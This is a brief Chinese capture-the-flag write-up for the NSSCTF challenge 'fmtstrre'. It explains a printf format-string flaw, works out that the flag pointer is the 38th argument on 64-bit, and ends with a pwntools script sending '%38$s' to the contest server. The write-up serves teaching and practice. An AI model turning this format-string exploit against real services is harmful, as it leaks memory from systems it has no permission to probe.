2025 SWPU-NSSCTF 秋季招新入门 fmtstrre
首先查看一下文件的保护措施

然后用ida打开看一下

这里printf(buf)存在格式化字符串的漏洞
并且v5中保存着name函数的地址,name中就保存着flag,那么就可以直接利用%s,打印v5上地址所对应的内容,即flag
那么就找出v5所处的位置是printf的第几个参数

0x7fffffffdcc8 所对应的就是第一个参数,然后v5是在0x20的位置上,但这是64位,前6个参数依靠寄存器传参,那么v5就是0x20+6=38个参数的位置上
点击查看代码
from pwn import *
io=remote("node5.anna.nssctf.cn",28471)
payload=b"%38$s"
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号